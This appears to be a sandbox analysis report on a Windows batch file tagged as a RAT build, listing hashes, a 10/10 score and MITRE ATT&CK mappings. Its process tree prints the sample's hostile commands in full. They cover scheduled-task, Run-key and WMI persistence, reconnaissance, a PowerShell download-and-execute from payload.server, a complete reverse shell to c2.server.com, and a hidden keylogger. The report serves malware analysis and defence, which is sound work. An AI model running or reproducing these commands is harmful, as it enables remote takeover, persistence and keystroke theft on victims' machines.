540e9c3ab8955f7a1ab71b9456c3b8765c6b2c80632f6032ede8c359807fb70f

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:37

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General

Target
rat_build_158377_014433.bat
Size 4KB
Sample260529-b1wrmsgz6y
SHA256 540e9c3ab8955f7a1ab71b9456c3b8765c6b2c80632f6032ede8c359807fb70f
MD5 01c15c00ea5d52b23bd6db84ffd1ba17
SHA1 5929f985453b1615bd0750b371af56de28a55956
SHA512 63dd1ad63d50fc9243a38d841cb5fafdfb8db5a5796e906bf799bd94e1ef0b0940bf40e6c1696c6da03888dbefd3a3f0faca23dc9a0e9eb1c6a906c2a10b5da6
SSDEEP 96:dfIZzxWH1U4KtAl0WSLbGp3pAxxV9M9nMWv0grFIiM4lcXgVxXiFgZk8mvlo1wDe:dfm0HS4OAl0DA5aJMhMJgeZXKiFgkHl0
TLSH
T100A1071397867120C9F82548DE327954876CD9FB134ADECEFA88CDC45B4C94BA1289E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_158377.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4876	powershell.exe
3708	powershell.exe
1192	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_158377 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_158377.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3880	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4596	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3452	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1156	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4876	powershell.exe
4876	powershell.exe
3708	powershell.exe
3708	powershell.exe
1192	powershell.exe
1192	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3504	WMIC.exe
Token: SeSecurityPrivilege	3504	WMIC.exe
Token: SeTakeOwnershipPrivilege	3504	WMIC.exe
Token: SeLoadDriverPrivilege	3504	WMIC.exe
Token: SeSystemProfilePrivilege	3504	WMIC.exe
Token: SeSystemtimePrivilege	3504	WMIC.exe
Token: SeProfSingleProcessPrivilege	3504	WMIC.exe
Token: SeIncBasePriorityPrivilege	3504	WMIC.exe
Token: SeCreatePagefilePrivilege	3504	WMIC.exe
Token: SeBackupPrivilege	3504	WMIC.exe
Token: SeRestorePrivilege	3504	WMIC.exe
Token: SeShutdownPrivilege	3504	WMIC.exe
Token: SeDebugPrivilege	3504	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3504	WMIC.exe
Token: SeRemoteShutdownPrivilege	3504	WMIC.exe
Token: SeUndockPrivilege	3504	WMIC.exe
Token: SeManageVolumePrivilege	3504	WMIC.exe
Token: 33	3504	WMIC.exe
Token: 34	3504	WMIC.exe
Token: 35	3504	WMIC.exe
Token: 36	3504	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3504	WMIC.exe
Token: SeSecurityPrivilege	3504	WMIC.exe
Token: SeTakeOwnershipPrivilege	3504	WMIC.exe
Token: SeLoadDriverPrivilege	3504	WMIC.exe
Token: SeSystemProfilePrivilege	3504	WMIC.exe
Token: SeSystemtimePrivilege	3504	WMIC.exe
Token: SeProfSingleProcessPrivilege	3504	WMIC.exe
Token: SeIncBasePriorityPrivilege	3504	WMIC.exe
Token: SeCreatePagefilePrivilege	3504	WMIC.exe
Token: SeBackupPrivilege	3504	WMIC.exe
Token: SeRestorePrivilege	3504	WMIC.exe
Token: SeShutdownPrivilege	3504	WMIC.exe
Token: SeDebugPrivilege	3504	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3504	WMIC.exe
Token: SeRemoteShutdownPrivilege	3504	WMIC.exe
Token: SeUndockPrivilege	3504	WMIC.exe
Token: SeManageVolumePrivilege	3504	WMIC.exe
Token: 33	3504	WMIC.exe
Token: 34	3504	WMIC.exe
Token: 35	3504	WMIC.exe
Token: 36	3504	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2116	WMIC.exe
Token: SeSecurityPrivilege	2116	WMIC.exe
Token: SeTakeOwnershipPrivilege	2116	WMIC.exe
Token: SeLoadDriverPrivilege	2116	WMIC.exe
Token: SeSystemProfilePrivilege	2116	WMIC.exe
Token: SeSystemtimePrivilege	2116	WMIC.exe
Token: SeProfSingleProcessPrivilege	2116	WMIC.exe
Token: SeIncBasePriorityPrivilege	2116	WMIC.exe
Token: SeCreatePagefilePrivilege	2116	WMIC.exe
Token: SeBackupPrivilege	2116	WMIC.exe
Token: SeRestorePrivilege	2116	WMIC.exe
Token: SeShutdownPrivilege	2116	WMIC.exe
Token: SeDebugPrivilege	2116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2116	WMIC.exe
Token: SeRemoteShutdownPrivilege	2116	WMIC.exe
Token: SeUndockPrivilege	2116	WMIC.exe
Token: SeManageVolumePrivilege	2116	WMIC.exe
Token: 33	2116	WMIC.exe
Token: 34	2116	WMIC.exe
Token: 35	2116	WMIC.exe
Token: 36	2116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2116	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 1156	2836	cmd.exe	87
PID 2836 wrote to memory of 3452	2836	cmd.exe	88
PID 2836 wrote to memory of 3504	2836	cmd.exe	89
PID 2836 wrote to memory of 2116	2836	cmd.exe	90
PID 2836 wrote to memory of 4580	2836	cmd.exe	91
PID 2836 wrote to memory of 4596	2836	cmd.exe	96
PID 2836 wrote to memory of 3880	2836	cmd.exe	99
PID 2836 wrote to memory of 4876	2836	cmd.exe	100
PID 2836 wrote to memory of 3708	2836	cmd.exe	101
PID 2836 wrote to memory of 1192	2836	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_158377_014433.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_158377" /tr "C:\Users\Admin\AppData\Local\Temp\_158377.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1156
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_158377" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_158377.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3452
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_158377", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3504
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_158377", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_158377.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_158377.txt
  2⤵
  PID:4580
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4596
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_158377.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1192

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a19b66cfcba4f9f7e58d8a173734f815217902be6221d104aeccfd5930401a47
MD5 8d87c3ad2e9f9f15f952a192e206d06b
SHA1 4471463eea8783da03ccce3ebee1871a2d27efc2
SHA512 d8e4fec8269786fd94be61a82e981207770b1693614658ba563d1e30738ffb25d79cafe9549d0a95a683551b870cc874bbfe30b33fec4decb6e5944266f9dc6c
TLSH
T12F115727B39C8921CC96153A409D9C1172B683D7419EDE9FAFC4D214A07F584CB611A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_vy0jbvrr.ty3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vy0jbvrr.ty3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4876-8-0x000002B36D3C0000-0x000002B36D3E2000-memory.dmp

Download

memory/4876-13-0x000002B36E230000-0x000002B36E39A000-memory.dmp

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